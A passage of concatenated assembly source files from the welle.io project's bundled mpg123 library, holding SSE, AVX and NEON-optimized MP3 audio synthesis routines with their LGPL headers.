vperm2f128 $0x20, %ymm1, %ymm0, %ymm2
vperm2f128 $0x31, %ymm1, %ymm0, %ymm3
vaddps %ymm3, %ymm2, %ymm0
vmulps %ymm14, %ymm0, %ymm0
vmovups %ymm0, (SAMPLES)
add $32, SAMPLES
dec %ecx
jnz 1b
mov $4, %ecx
ALIGN16
1:
vmovups (WINDOW), %ymm8
vmovups 32(WINDOW), %ymm9
vmovups (WINDOW,%rax), %ymm10
vmovups 32(WINDOW,%rax), %ymm11
vmulps (B0L), %ymm8, %ymm0
vmulps 32(B0L), %ymm9, %ymm1
vmulps (B0R), %ymm8, %ymm2
vmulps 32(B0R), %ymm9, %ymm3
vmulps -64(B0L), %ymm10, %ymm4
vmulps -32(B0L), %ymm11, %ymm5
vmulps -64(B0R), %ymm10, %ymm6
vmulps -32(B0R), %ymm11, %ymm7
vaddps %ymm1, %ymm0, %ymm8
vaddps %ymm3, %ymm2, %ymm0
vaddps %ymm5, %ymm4, %ymm9
vaddps %ymm7, %ymm6, %ymm1
lea (WINDOW,%rax,2), WINDOW
sub %rax, B0L
sub %rax, B0R
vmovups (WINDOW), %ymm10
vmovups 32(WINDOW), %ymm11
vmovups (WINDOW,%rax), %ymm12
vmovups 32(WINDOW,%rax), %ymm13
vmulps (B0L), %ymm10, %ymm2
vmulps 32(B0L), %ymm11, %ymm3
vmulps (B0R), %ymm10, %ymm4
vmulps 32(B0R), %ymm11, %ymm5
vmulps -64(B0L), %ymm12, %ymm6
vmulps -32(B0L), %ymm13, %ymm10
vmulps -64(B0R), %ymm12, %ymm7
vmulps -32(B0R), %ymm13, %ymm11
vaddps %ymm3, %ymm2, %ymm2
vaddps %ymm5, %ymm4, %ymm3
vaddps %ymm6, %ymm10, %ymm4
vaddps %ymm7, %ymm11, %ymm5
lea (WINDOW,%rax,2), WINDOW
sub %rax, B0L
sub %rax, B0R
vunpcklps %ymm0, %ymm8, %ymm6
vunpckhps %ymm0, %ymm8, %ymm0
vunpcklps %ymm1, %ymm9, %ymm7
vunpckhps %ymm1, %ymm9, %ymm1
vaddps %ymm6, %ymm0, %ymm0
vaddps %ymm7, %ymm1, %ymm1
vunpcklps %ymm3, %ymm2, %ymm6
vunpckhps %ymm3, %ymm2, %ymm2
vunpcklps %ymm5, %ymm4, %ymm7
vunpckhps %ymm5, %ymm4, %ymm3
vaddps %ymm6, %ymm2, %ymm2
vaddps %ymm7, %ymm3, %ymm3
vunpcklpd %ymm1, %ymm0, %ymm4
vunpckhpd %ymm1, %ymm0, %ymm0
vunpcklpd %ymm3, %ymm2, %ymm5
vunpckhpd %ymm3, %ymm2, %ymm1
vaddps %ymm0, %ymm4, %ymm0
vaddps %ymm1, %ymm5, %ymm1
vperm2f128 $0x20, %ymm1, %ymm0, %ymm2
vperm2f128 $0x31, %ymm1, %ymm0, %ymm3
vaddps %ymm3, %ymm2, %ymm0
vmulps %ymm14, %ymm0, %ymm0
vmovups %ymm0, (SAMPLES)
add $32, SAMPLES
dec %ecx
jnz 1b
vzeroupper
xor %eax, %eax
#ifdef IS_MSABI
movaps (%rsp), %xmm6
movaps 16(%rsp), %xmm7
movaps 32(%rsp), %xmm8
movaps 48(%rsp), %xmm9
movaps 64(%rsp), %xmm10
movaps 80(%rsp), %xmm11
movaps 96(%rsp), %xmm12
movaps 112(%rsp), %xmm13
movaps 128(%rsp), %xmm14
mov %rbp, %rsp
pop %rbp
#endif
ret
NONEXEC_STACK
|
AlbrechtL/welle.io | 5,388 | src/libs/mpg123/synth_x86_64_float.S | /*
synth_x86_64_float: SSE optimized synth for x86-64 (float output version)
copyright 1995-2009 by the mpg123 project - free software under the terms of the LGPL 2.1
see COPYING and AUTHORS files in distribution or http://mpg123.org
initially written by Taihei Monma
*/
#include "mangle.h"
#ifdef IS_MSABI
/* short *window; */
#define ARG0 %r10
/* short *b0; */
#define ARG1 %rdx
/* short *samples; */
#define ARG2 %r8
/* int bo1; */
#define ARG3 %r9
#else
/* real *window; */
#define ARG0 %rdi
/* real *b0; */
#define ARG1 %rsi
/* real *samples; */
#define ARG2 %rdx
/* int bo1; */
#define ARG3 %rcx
#endif
#define XMMREG_SCALE %xmm15 /* {1/32768.0, 1/32768.0, 1/32768.0, 1/32768.0} */
/*
int synth_1to1_real_x86_64_asm(real *window, real *b0, real *samples, int bo1);
return value: number of clipped samples (0)
*/
#ifndef __APPLE__
.section .rodata
#else
.data
#endif
ALIGN32
ASM_NAME(scale_x86_64):
.long 939524096
.long 939524096
.long 939524096
.long 939524096
.text
ALIGN16
.globl ASM_NAME(synth_1to1_real_x86_64_asm)
ASM_NAME(synth_1to1_real_x86_64_asm):
#ifdef IS_MSABI /* should save xmm6-15 */
movq %rcx, ARG0
subq $120, %rsp /* stack alignment + 7 xmm registers */
movaps %xmm6, (%rsp)
movaps %xmm7, 16(%rsp)
movaps %xmm8, 32(%rsp)
movaps %xmm9, 48(%rsp)
movaps %xmm10, 64(%rsp)
movaps %xmm11, 80(%rsp)
movaps %xmm15, 96(%rsp)
#endif
leaq ASM_NAME(scale_x86_64)(%rip), %rax
movaps (%rax), XMMREG_SCALE
andq $0xf, ARG3
shlq $2, ARG3
leaq 64(ARG0), ARG0
subq ARG3, ARG0
movl $4, %ecx
ALIGN16
1:
movups (ARG0), %xmm8
movups 16(ARG0), %xmm1
movups 32(ARG0), %xmm2
movups 48(ARG0), %xmm3
movups 128(ARG0), %xmm9
movups 144(ARG0), %xmm5
movups 160(ARG0), %xmm6
movups 176(ARG0), %xmm7
mulps (ARG1), %xmm8
mulps 16(ARG1), %xmm1
mulps 32(ARG1), %xmm2
mulps 48(ARG1), %xmm3
mulps 64(ARG1), %xmm9
mulps 80(ARG1), %xmm5
mulps 96(ARG1), %xmm6
mulps 112(ARG1), %xmm7
addps %xmm1, %xmm8
addps %xmm2, %xmm3
addps %xmm5, %xmm9
addps %xmm7, %xmm6
addps %xmm3, %xmm8
addps %xmm6, %xmm9
leaq 256(ARG0), ARG0
leaq 128(ARG1), ARG1
movups (ARG0), %xmm10
movups 16(ARG0), %xmm1
movups 32(ARG0), %xmm2
movups 48(ARG0), %xmm3
movups 128(ARG0), %xmm11
movups 144(ARG0), %xmm5
movups 160(ARG0), %xmm6
movups 176(ARG0), %xmm7
mulps (ARG1), %xmm10
mulps 16(ARG1), %xmm1
mulps 32(ARG1), %xmm2
mulps 48(ARG1), %xmm3
mulps 64(ARG1), %xmm11
mulps 80(ARG1), %xmm5
mulps 96(ARG1), %xmm6
mulps 112(ARG1), %xmm7
addps %xmm1, %xmm10
addps %xmm2, %xmm3
addps %xmm5, %xmm11
addps %xmm7, %xmm6
addps %xmm3, %xmm10
addps %xmm6, %xmm11
leaq 256(ARG0), ARG0
leaq 128(ARG1), ARG1
movaps %xmm8, %xmm0
movaps %xmm10, %xmm1
unpcklps %xmm9, %xmm8
unpcklps %xmm11, %xmm10
unpckhps %xmm9, %xmm0
unpckhps %xmm11, %xmm1
movaps %xmm8, %xmm2
movaps %xmm0, %xmm3
movlhps %xmm10, %xmm8
movhlps %xmm2, %xmm10
movlhps %xmm1, %xmm0
movhlps %xmm3, %xmm1
subps %xmm10, %xmm8
subps %xmm1, %xmm0
addps %xmm8, %xmm0
movups (ARG2), %xmm1
movups 16(ARG2), %xmm2
mulps XMMREG_SCALE, %xmm0
shufps $0xdd, %xmm2, %xmm1
movaps %xmm0, %xmm2
unpcklps %xmm1, %xmm0
unpckhps %xmm1, %xmm2
movups %xmm0, (ARG2)
movups %xmm2, 16(ARG2)
leaq 32(ARG2), ARG2
decl %ecx
jnz 1b
movl $4, %ecx
ALIGN16
1:
movups (ARG0), %xmm8
movups 16(ARG0), %xmm1
movups 32(ARG0), %xmm2
movups 48(ARG0), %xmm3
movups 128(ARG0), %xmm9
movups 144(ARG0), %xmm5
movups 160(ARG0), %xmm6
movups 176(ARG0), %xmm7
mulps (ARG1), %xmm8
mulps 16(ARG1), %xmm1
mulps 32(ARG1), %xmm2
mulps 48(ARG1), %xmm3
mulps -64(ARG1), %xmm9
mulps -48(ARG1), %xmm5
mulps -32(ARG1), %xmm6
mulps -16(ARG1), %xmm7
addps %xmm1, %xmm8
addps %xmm2, %xmm3
addps %xmm5, %xmm9
addps %xmm7, %xmm6
addps %xmm3, %xmm8
addps %xmm6, %xmm9
leaq 256(ARG0), ARG0
leaq -128(ARG1), ARG1
movups (ARG0), %xmm10
movups 16(ARG0), %xmm1
movups 32(ARG0), %xmm2
movups 48(ARG0), %xmm3
movups 128(ARG0), %xmm11
movups 144(ARG0), %xmm5
movups 160(ARG0), %xmm6
movups 176(ARG0), %xmm7
mulps (ARG1), %xmm10
mulps 16(ARG1), %xmm1
mulps 32(ARG1), %xmm2
mulps 48(ARG1), %xmm3
mulps -64(ARG1), %xmm11
mulps -48(ARG1), %xmm5
mulps -32(ARG1), %xmm6
mulps -16(ARG1), %xmm7
addps %xmm1, %xmm10
addps %xmm2, %xmm3
addps %xmm5, %xmm11
addps %xmm7, %xmm6
addps %xmm3, %xmm10
addps %xmm6, %xmm11
leaq 256(ARG0), ARG0
leaq -128(ARG1), ARG1
movaps %xmm8, %xmm0
movaps %xmm10, %xmm1
unpcklps %xmm9, %xmm8
unpcklps %xmm11, %xmm10
unpckhps %xmm9, %xmm0
unpckhps %xmm11, %xmm1
movaps %xmm8, %xmm2
movaps %xmm0, %xmm3
movlhps %xmm10, %xmm8
movhlps %xmm2, %xmm10
movlhps %xmm1, %xmm0
movhlps %xmm3, %xmm1
addps %xmm10, %xmm8
addps %xmm1, %xmm0
addps %xmm8, %xmm0
movups (ARG2), %xmm1
movups 16(ARG2), %xmm2
mulps XMMREG_SCALE, %xmm0
shufps $0xdd, %xmm2, %xmm1
movaps %xmm0, %xmm2
unpcklps %xmm1, %xmm0
unpckhps %xmm1, %xmm2
movups %xmm0, (ARG2)
movups %xmm2, 16(ARG2)
leaq 32(ARG2), ARG2
decl %ecx
jnz 1b
xorl %eax, %eax
#ifdef IS_MSABI
movaps (%rsp), %xmm6
movaps 16(%rsp), %xmm7
movaps 32(%rsp), %xmm8
movaps 48(%rsp), %xmm9
movaps 64(%rsp), %xmm10
movaps 80(%rsp), %xmm11
movaps 96(%rsp), %xmm15
addq $120, %rsp
#endif
ret
NONEXEC_STACK
|
AlbrechtL/welle.io | 2,823 | src/libs/mpg123/synth_neon64_float.S | /*
synth_neon64_float: NEON optimized synth for AArch64 (float output version)
copyright 1995-2014 by the mpg123 project - free software under the terms of the LGPL 2.1
see COPYING and AUTHORS files in distribution or http://mpg123.org
initially written by Taihei Monma
*/
#include "mangle.h"
#ifndef __APPLE__
.section .rodata
#else
.data
#endif
ALIGN16
scale:
.word 939524096
.text
ALIGN4
.globl ASM_NAME(synth_1to1_real_neon64_asm)
#ifdef __ELF__
.type ASM_NAME(synth_1to1_real_neon64_asm), %function
#endif
ASM_NAME(synth_1to1_real_neon64_asm):
add x0, x0, #64
sub x0, x0, x3, lsl #2
adrp x5, AARCH64_PCREL_HI(scale)
add x5, x5, AARCH64_PCREL_LO(scale)
ld1r {v28.4s}, [x5]
mov w4, #4
mov x5, #128
1:
ld1 {v0.4s,v1.4s,v2.4s,v3.4s}, [x0], x5
ld1 {v4.4s,v5.4s,v6.4s,v7.4s}, [x0], x5
ld1 {v16.4s,v17.4s,v18.4s,v19.4s}, [x1], #64
ld1 {v20.4s,v21.4s,v22.4s,v23.4s}, [x1], #64
fmul v24.4s, v0.4s, v16.4s
fmul v25.4s, v4.4s, v20.4s
fmla v24.4s, v1.4s, v17.4s
fmla v25.4s, v5.4s, v21.4s
fmla v24.4s, v2.4s, v18.4s
fmla v25.4s, v6.4s, v22.4s
fmla v24.4s, v3.4s, v19.4s
fmla v25.4s, v7.4s, v23.4s
ld1 {v0.4s,v1.4s,v2.4s,v3.4s}, [x0], x5
ld1 {v4.4s,v5.4s,v6.4s,v7.4s}, [x0], x5
ld1 {v16.4s,v17.4s,v18.4s,v19.4s}, [x1], #64
ld1 {v20.4s,v21.4s,v22.4s,v23.4s}, [x1], #64
fmul v26.4s, v0.4s, v16.4s
fmul v27.4s, v4.4s, v20.4s
fmla v26.4s, v1.4s, v17.4s
fmla v27.4s, v5.4s, v21.4s
fmla v26.4s, v2.4s, v18.4s
fmla v27.4s, v6.4s, v22.4s
fmla v26.4s, v3.4s, v19.4s
fmla v27.4s, v7.4s, v23.4s
faddp v0.4s, v24.4s, v25.4s
faddp v1.4s, v26.4s, v27.4s
faddp v0.4s, v0.4s, v1.4s
ld2 {v4.4s,v5.4s}, [x2]
fmul v4.4s, v0.4s, v28.4s
st2 {v4.4s,v5.4s}, [x2], #32
subs w4, w4, #1
b.ne 1b
mov w4, #4
mov x6, #-64
2:
ld1 {v0.4s,v1.4s,v2.4s,v3.4s}, [x0], x5
ld1 {v4.4s,v5.4s,v6.4s,v7.4s}, [x0], x5
ld1 {v16.4s,v17.4s,v18.4s,v19.4s}, [x1], x6
ld1 {v20.4s,v21.4s,v22.4s,v23.4s}, [x1], x6
fmul v24.4s, v0.4s, v16.4s
fmul v25.4s, v4.4s, v20.4s
fmla v24.4s, v1.4s, v17.4s
fmla v25.4s, v5.4s, v21.4s
fmla v24.4s, v2.4s, v18.4s
fmla v25.4s, v6.4s, v22.4s
fmla v24.4s, v3.4s, v19.4s
fmla v25.4s, v7.4s, v23.4s
ld1 {v0.4s,v1.4s,v2.4s,v3.4s}, [x0], x5
ld1 {v4.4s,v5.4s,v6.4s,v7.4s}, [x0], x5
ld1 {v16.4s,v17.4s,v18.4s,v19.4s}, [x1], x6
ld1 {v20.4s,v21.4s,v22.4s,v23.4s}, [x1], x6
fmul v26.4s, v0.4s, v16.4s
fmul v27.4s, v4.4s, v20.4s
fmla v26.4s, v1.4s, v17.4s
fmla v27.4s, v5.4s, v21.4s
fmla v26.4s, v2.4s, v18.4s
fmla v27.4s, v6.4s, v22.4s
fmla v26.4s, v3.4s, v19.4s
fmla v27.4s, v7.4s, v23.4s
faddp v0.4s, v24.4s, v25.4s
faddp v1.4s, v26.4s, v27.4s
faddp v0.4s, v0.4s, v1.4s
ld2 {v4.4s,v5.4s}, [x2]
fmul v4.4s, v0.4s, v28.4s
st2 {v4.4s,v5.4s}, [x2], #32
subs w4, w4, #1
b.ne 2b
eor w0, w0, w0
ret
NONEXEC_STACK
|
AlbrechtL/welle.io | 7,396 | src/libs/mpg123/synth_stereo_x86_64.S | /*
synth_stereo_x86_64: SSE optimized synth for x86-64 (stereo specific version)
copyright 1995-2009 by the mpg123 project - free software under the terms of the LGPL 2.1
see COPYING and AUTHORS files in distribution or http://mpg123.org
initially written by Taihei Monma
*/
#include "mangle.h"
#ifdef IS_MSABI
/* short *window; */
#define WINDOW %r10
/* short *b0l; */
#define B0L %rdx
/* short *b0r; */
#define B0R %r8
/* short *samples; */
#define SAMPLES %r9
#else
/* short *window; */
#define WINDOW %rdi
/* short *b0l; */
#define B0L %rsi
/* short *b0r; */
#define B0R %rdx
/* short *samples; */
#define SAMPLES %r9
#endif
#define XMMREG_CLIP %xmm15
#define XMMREG_MAX %xmm14 /* {32767, 32767, 32767, 32767} */
#define XMMREG_MIN %xmm13 /* {-32769, -32769, -32769, -32769} : not -32768 because SSE doesn't have "less than" comparison... */
#define XMMREG_FULL %xmm12 /* {0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF} */
/*
int synth_1to1_s_x86_64_asm(short *window, short *b0l, short *b0r, short *samples, int bo1);
return value: number of clipped samples
*/
#ifndef __APPLE__
.section .rodata
#else
.data
#endif
ALIGN32
ASM_NAME(maxmin_x86_64):
.long 32767
.long 32767
.long 32767
.long 32767
.long -32769
.long -32769
.long -32769
.long -32769
.text
ALIGN16
.globl ASM_NAME(synth_1to1_s_x86_64_asm)
ASM_NAME(synth_1to1_s_x86_64_asm):
#ifdef IS_MSABI /* should save xmm6-15 */
movl 40(%rsp), %eax /* 5th argument; placed after 32-byte shadow space */
subq $168, %rsp /* stack alignment + 10 xmm registers */
movaps %xmm6, (%rsp)
movaps %xmm7, 16(%rsp)
movaps %xmm8, 32(%rsp)
movaps %xmm9, 48(%rsp)
movaps %xmm10, 64(%rsp)
movaps %xmm11, 80(%rsp)
movaps %xmm12, 96(%rsp)
movaps %xmm13, 112(%rsp)
movaps %xmm14, 128(%rsp)
movaps %xmm15, 144(%rsp)
#endif
#ifdef IS_MSABI
shlq $32, %rax
shrq $31, %rax
movq %rcx, %r10
#else
movq %r8, %rax
shlq $32, %rax
shrq $31, %rax
movq %rcx, %r9
#endif
leaq 32(WINDOW), WINDOW
subq %rax, WINDOW
leaq ASM_NAME(maxmin_x86_64)(%rip), %rax
movaps (%rax), XMMREG_MAX
movaps 16(%rax), XMMREG_MIN
pxor XMMREG_CLIP, XMMREG_CLIP
pcmpeqd XMMREG_FULL, XMMREG_FULL
movl $4, %ecx
ALIGN16
1:
movups (WINDOW), %xmm0
movups 16(WINDOW), %xmm1
movups 64(WINDOW), %xmm2
movups 80(WINDOW), %xmm3
movups 128(WINDOW), %xmm4
movups 144(WINDOW), %xmm5
movups 192(WINDOW), %xmm6
movups 208(WINDOW), %xmm7
movaps %xmm0, %xmm8
movaps %xmm1, %xmm9
movaps %xmm2, %xmm10
movaps %xmm3, %xmm11
pmaddwd (B0L), %xmm0
pmaddwd 16(B0L), %xmm1
pmaddwd 32(B0L), %xmm2
pmaddwd 48(B0L), %xmm3
pmaddwd (B0R), %xmm8
pmaddwd 16(B0R), %xmm9
pmaddwd 32(B0R), %xmm10
pmaddwd 48(B0R), %xmm11
paddd %xmm1, %xmm0
paddd %xmm3, %xmm2
paddd %xmm9, %xmm8
paddd %xmm11, %xmm10
movaps %xmm4, %xmm1
movaps %xmm5, %xmm9
movaps %xmm6, %xmm3
movaps %xmm7, %xmm11
pmaddwd 64(B0L), %xmm4
pmaddwd 80(B0L), %xmm5
pmaddwd 96(B0L), %xmm6
pmaddwd 112(B0L), %xmm7
pmaddwd 64(B0R), %xmm1
pmaddwd 80(B0R), %xmm9
pmaddwd 96(B0R), %xmm3
pmaddwd 112(B0R), %xmm11
paddd %xmm5, %xmm4
paddd %xmm7, %xmm6
paddd %xmm1, %xmm9
paddd %xmm3, %xmm11
movaps %xmm0, %xmm1
movaps %xmm4, %xmm3
movaps %xmm8, %xmm5
movaps %xmm9, %xmm7
punpckldq %xmm2, %xmm0
punpckldq %xmm6, %xmm4
punpckhdq %xmm2, %xmm1
punpckhdq %xmm6, %xmm3
punpckldq %xmm10, %xmm8
punpckldq %xmm11, %xmm9
punpckhdq %xmm10, %xmm5
punpckhdq %xmm11, %xmm7
movaps %xmm0, %xmm2
movaps %xmm1, %xmm6
movaps %xmm8, %xmm10
movaps %xmm5, %xmm11
movlhps %xmm4, %xmm0
movhlps %xmm2, %xmm4
movlhps %xmm3, %xmm1
movhlps %xmm6, %xmm3
movlhps %xmm9, %xmm8
movhlps %xmm10, %xmm9
movlhps %xmm7, %xmm5
movhlps %xmm11, %xmm7
paddd %xmm4, %xmm0
paddd %xmm3, %xmm1
paddd %xmm9, %xmm8
paddd %xmm7, %xmm5
paddd %xmm1, %xmm0
paddd %xmm5, %xmm8
psrad $13, %xmm0
psrad $13, %xmm8
movaps %xmm0, %xmm1
movaps %xmm0, %xmm2
movaps %xmm0, %xmm3
movaps %xmm8, %xmm4
punpckldq %xmm8, %xmm0
punpckhdq %xmm8, %xmm1
packssdw %xmm1, %xmm0
movups %xmm0, (SAMPLES)
pcmpgtd XMMREG_MAX, %xmm2
pcmpgtd XMMREG_MIN, %xmm3
pcmpgtd XMMREG_MAX, %xmm4
pcmpgtd XMMREG_MIN, %xmm8
packssdw %xmm4, %xmm2
packssdw %xmm8, %xmm3
pxor XMMREG_FULL, %xmm3
psrlw $15, %xmm2
psrlw $15, %xmm3
paddw %xmm3, %xmm2
paddw %xmm2, XMMREG_CLIP
leaq 256(WINDOW), WINDOW
leaq 128(B0L), B0L
leaq 128(B0R), B0R
leaq 16(SAMPLES), SAMPLES
decl %ecx
jnz 1b
movl $4, %ecx
ALIGN16
1:
movups (WINDOW), %xmm0
movups 16(WINDOW), %xmm1
movups 64(WINDOW), %xmm2
movups 80(WINDOW), %xmm3
movups 128(WINDOW), %xmm4
movups 144(WINDOW), %xmm5
movups 192(WINDOW), %xmm6
movups 208(WINDOW), %xmm7
movaps %xmm0, %xmm8
movaps %xmm1, %xmm9
movaps %xmm2, %xmm10
movaps %xmm3, %xmm11
pmaddwd (B0L), %xmm0
pmaddwd 16(B0L), %xmm1
pmaddwd -32(B0L), %xmm2
pmaddwd -16(B0L), %xmm3
pmaddwd (B0R), %xmm8
pmaddwd 16(B0R), %xmm9
pmaddwd -32(B0R), %xmm10
pmaddwd -16(B0R), %xmm11
paddd %xmm1, %xmm0
paddd %xmm3, %xmm2
paddd %xmm9, %xmm8
paddd %xmm11, %xmm10
movaps %xmm4, %xmm1
movaps %xmm5, %xmm9
movaps %xmm6, %xmm3
movaps %xmm7, %xmm11
pmaddwd -64(B0L), %xmm4
pmaddwd -48(B0L), %xmm5
pmaddwd -96(B0L), %xmm6
pmaddwd -80(B0L), %xmm7
pmaddwd -64(B0R), %xmm1
pmaddwd -48(B0R), %xmm9
pmaddwd -96(B0R), %xmm3
pmaddwd -80(B0R), %xmm11
paddd %xmm5, %xmm4
paddd %xmm7, %xmm6
paddd %xmm1, %xmm9
paddd %xmm3, %xmm11
movaps %xmm0, %xmm1
movaps %xmm4, %xmm3
movaps %xmm8, %xmm5
movaps %xmm9, %xmm7
punpckldq %xmm2, %xmm0
punpckldq %xmm6, %xmm4
punpckhdq %xmm2, %xmm1
punpckhdq %xmm6, %xmm3
punpckldq %xmm10, %xmm8
punpckldq %xmm11, %xmm9
punpckhdq %xmm10, %xmm5
punpckhdq %xmm11, %xmm7
movaps %xmm0, %xmm2
movaps %xmm1, %xmm6
movaps %xmm8, %xmm10
movaps %xmm5, %xmm11
movlhps %xmm4, %xmm0
movhlps %xmm2, %xmm4
movlhps %xmm3, %xmm1
movhlps %xmm6, %xmm3
movlhps %xmm9, %xmm8
movhlps %xmm10, %xmm9
movlhps %xmm7, %xmm5
movhlps %xmm11, %xmm7
paddd %xmm4, %xmm0
paddd %xmm3, %xmm1
paddd %xmm9, %xmm8
paddd %xmm7, %xmm5
paddd %xmm1, %xmm0
paddd %xmm5, %xmm8
psrad $13, %xmm0
psrad $13, %xmm8
movaps %xmm0, %xmm1
movaps %xmm0, %xmm2
movaps %xmm0, %xmm3
movaps %xmm8, %xmm4
punpckldq %xmm8, %xmm0
punpckhdq %xmm8, %xmm1
packssdw %xmm1, %xmm0
movups %xmm0, (SAMPLES)
pcmpgtd XMMREG_MAX, %xmm2
pcmpgtd XMMREG_MIN, %xmm3
pcmpgtd XMMREG_MAX, %xmm4
pcmpgtd XMMREG_MIN, %xmm8
packssdw %xmm4, %xmm2
packssdw %xmm8, %xmm3
pxor XMMREG_FULL, %xmm3
psrlw $15, %xmm2
psrlw $15, %xmm3
paddw %xmm3, %xmm2
paddw %xmm2, XMMREG_CLIP
leaq 256(WINDOW), WINDOW
leaq -128(B0L), B0L
leaq -128(B0R), B0R
leaq 16(SAMPLES), SAMPLES
decl %ecx
jnz 1b
movhlps XMMREG_CLIP, %xmm0
paddw XMMREG_CLIP, %xmm0
pshuflw $0x55, %xmm0, %xmm1
pshuflw $0xaa, %xmm0, %xmm2
pshuflw $0xff, %xmm0, %xmm3
paddw %xmm1, %xmm0
paddw %xmm2, %xmm0
paddw %xmm3, %xmm0
movd %xmm0, %eax
andl $0xffff, %eax
#ifdef IS_MSABI
movaps (%rsp), %xmm6
movaps 16(%rsp), %xmm7
movaps 32(%rsp), %xmm8
movaps 48(%rsp), %xmm9
movaps 64(%rsp), %xmm10
movaps 80(%rsp), %xmm11
movaps 96(%rsp), %xmm12
movaps 112(%rsp), %xmm13
movaps 128(%rsp), %xmm14
movaps 144(%rsp), %xmm15
addq $168, %rsp
#endif
ret
NONEXEC_STACK
|
AlbrechtL/welle.io | 4,913 | src/libs/mpg123/synth_sse_float.S | /*
synth_sse_float: SSE optimized synth (float output version)
copyright 1995-2009 by the mpg123 project - free software under the terms of the LGPL 2.1
see COPYING and AUTHORS files in distribution or http://mpg123.org
initially written by Taihei Monma
*/
#include "mangle.h"
/* real *window; */
#define WINDOW %ebx
/* real *b0; */
#define B0 %edx
/* real *samples; */
#define SAMPLES %esi
/*
int synth_1to1_real_sse_asm(real *window, real *b0, real *samples, int bo1);
return value: number of clipped samples (0)
*/
#ifndef __APPLE__
.section .rodata
#else
.data
#endif
ALIGN32
scale_sse:
.long 939524096
.long 939524096
.long 939524096
.long 939524096
.text
ALIGN16
.globl ASM_NAME(synth_1to1_real_sse_asm)
ASM_NAME(synth_1to1_real_sse_asm):
pushl %ebp
movl %esp, %ebp
pushl %ebx
pushl %esi
movl 8(%ebp), WINDOW
movl 12(%ebp), B0
movl 16(%ebp), SAMPLES
movl 20(%ebp), %eax
shll $2, %eax
leal 64(WINDOW), WINDOW
subl %eax, WINDOW
#undef _EBX_
#define _EBX_ %eax
GET_GOT
movl $4, %ecx
ALIGN16
1:
movups (WINDOW), %xmm0
movups 16(WINDOW), %xmm1
movups 32(WINDOW), %xmm2
movups 48(WINDOW), %xmm3
movups 128(WINDOW), %xmm4
movups 144(WINDOW), %xmm5
movups 160(WINDOW), %xmm6
movups 176(WINDOW), %xmm7
mulps 0(B0), %xmm0
mulps 16(B0), %xmm1
mulps 32(B0), %xmm2
mulps 48(B0), %xmm3
mulps 64(B0), %xmm4
mulps 80(B0), %xmm5
mulps 96(B0), %xmm6
mulps 112(B0), %xmm7
addps %xmm1, %xmm0
addps %xmm3, %xmm2
addps %xmm5, %xmm4
addps %xmm7, %xmm6
addps %xmm2, %xmm0
addps %xmm6, %xmm4
movaps %xmm4, %xmm5
movaps %xmm0, %xmm4
leal 256(WINDOW), WINDOW
leal 128(B0), B0
movups (WINDOW), %xmm0
movups 16(WINDOW), %xmm1
movups 32(WINDOW), %xmm2
movups 48(WINDOW), %xmm3
movups 128(WINDOW), %xmm6
movups 144(WINDOW), %xmm7
mulps (B0), %xmm0
mulps 16(B0), %xmm1
mulps 32(B0), %xmm2
mulps 48(B0), %xmm3
mulps 64(B0), %xmm6
mulps 80(B0), %xmm7
addps %xmm1, %xmm0
addps %xmm3, %xmm2
addps %xmm7, %xmm6
movups 160(WINDOW), %xmm1
movups 176(WINDOW), %xmm3
mulps 96(B0), %xmm1
mulps 112(B0), %xmm3
addps %xmm2, %xmm0
addps %xmm3, %xmm1
addps %xmm1, %xmm6
movaps %xmm6, %xmm7
movaps %xmm0, %xmm6
leal 256(WINDOW), WINDOW
leal 128(B0), B0
movaps %xmm4, %xmm0
movaps %xmm6, %xmm1
unpcklps %xmm5, %xmm4
unpcklps %xmm7, %xmm6
unpckhps %xmm5, %xmm0
unpckhps %xmm7, %xmm1
movaps %xmm4, %xmm2
movaps %xmm0, %xmm3
movlhps %xmm6, %xmm4
movhlps %xmm2, %xmm6
movlhps %xmm1, %xmm0
movhlps %xmm3, %xmm1
subps %xmm6, %xmm4
subps %xmm1, %xmm0
addps %xmm4, %xmm0
movups (SAMPLES), %xmm1
movups 16(SAMPLES), %xmm2
mulps LOCAL_VAR(scale_sse), %xmm0
shufps $0xdd, %xmm2, %xmm1
movaps %xmm0, %xmm2
unpcklps %xmm1, %xmm0
unpckhps %xmm1, %xmm2
movups %xmm0, (SAMPLES)
movups %xmm2, 16(SAMPLES)
leal 32(SAMPLES), SAMPLES
decl %ecx
jnz 1b
movl $4, %ecx
ALIGN16
1:
movups (WINDOW), %xmm0
movups 16(WINDOW), %xmm1
movups 32(WINDOW), %xmm2
movups 48(WINDOW), %xmm3
movups 128(WINDOW), %xmm4
movups 144(WINDOW), %xmm5
movups 160(WINDOW), %xmm6
movups 176(WINDOW), %xmm7
mulps 0(B0), %xmm0
mulps 16(B0), %xmm1
mulps 32(B0), %xmm2
mulps 48(B0), %xmm3
mulps -64(B0), %xmm4
mulps -48(B0), %xmm5
mulps -32(B0), %xmm6
mulps -16(B0), %xmm7
addps %xmm1, %xmm0
addps %xmm3, %xmm2
addps %xmm5, %xmm4
addps %xmm7, %xmm6
addps %xmm2, %xmm0
addps %xmm6, %xmm4
movaps %xmm4, %xmm5
movaps %xmm0, %xmm4
leal 256(WINDOW), WINDOW
leal -128(B0), B0
movups (WINDOW), %xmm0
movups 16(WINDOW), %xmm1
movups 32(WINDOW), %xmm2
movups 48(WINDOW), %xmm3
movups 128(WINDOW), %xmm6
movups 144(WINDOW), %xmm7
mulps (B0), %xmm0
mulps 16(B0), %xmm1
mulps 32(B0), %xmm2
mulps 48(B0), %xmm3
mulps -64(B0), %xmm6
mulps -48(B0), %xmm7
addps %xmm1, %xmm0
addps %xmm3, %xmm2
addps %xmm7, %xmm6
movups 160(WINDOW), %xmm1
movups 176(WINDOW), %xmm3
mulps -32(B0), %xmm1
mulps -16(B0), %xmm3
addps %xmm2, %xmm0
addps %xmm3, %xmm1
addps %xmm1, %xmm6
movaps %xmm6, %xmm7
movaps %xmm0, %xmm6
leal 256(WINDOW), WINDOW
leal -128(B0), B0
movaps %xmm4, %xmm0
movaps %xmm6, %xmm1
unpcklps %xmm5, %xmm4
unpcklps %xmm7, %xmm6
unpckhps %xmm5, %xmm0
unpckhps %xmm7, %xmm1
movaps %xmm4, %xmm2
movaps %xmm0, %xmm3
movlhps %xmm6, %xmm4
movhlps %xmm2, %xmm6
movlhps %xmm1, %xmm0
movhlps %xmm3, %xmm1
addps %xmm6, %xmm4
addps %xmm1, %xmm0
addps %xmm4, %xmm0
movups (SAMPLES), %xmm1
movups 16(SAMPLES), %xmm2
mulps LOCAL_VAR(scale_sse), %xmm0
